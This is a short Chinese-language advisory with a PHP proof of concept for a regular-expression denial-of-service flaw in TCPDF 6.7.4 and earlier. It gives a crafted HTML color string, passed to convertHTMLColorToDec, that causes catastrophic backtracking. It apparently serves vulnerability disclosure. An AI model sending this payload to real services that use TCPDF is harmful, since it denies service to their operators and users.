正则表达式拒绝服务(ReDoS)
TCPDF <= 6.7.4
TCPDF 在解析 HTML 颜色时包含精心构造的有效负载。
TCPDF 版本 <= 6.7.4 在解析包含精心构造颜色的不可信 HTML 页面时,容易受到 ReDoS(正则表达式拒绝服务)攻击。
<?php
require_once('../tcpdf.php');
$test = new TCPDF_COLORS();
$ref = "none";
$test -> convertHTMLColorToDec('["t"000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000!]',$ref);
?>
注意:在漏洞代码行之后使用 preg_last_error() 检查,正则表达式将以 PREG_BACKTRACK_LIMIT_ERROR 退出。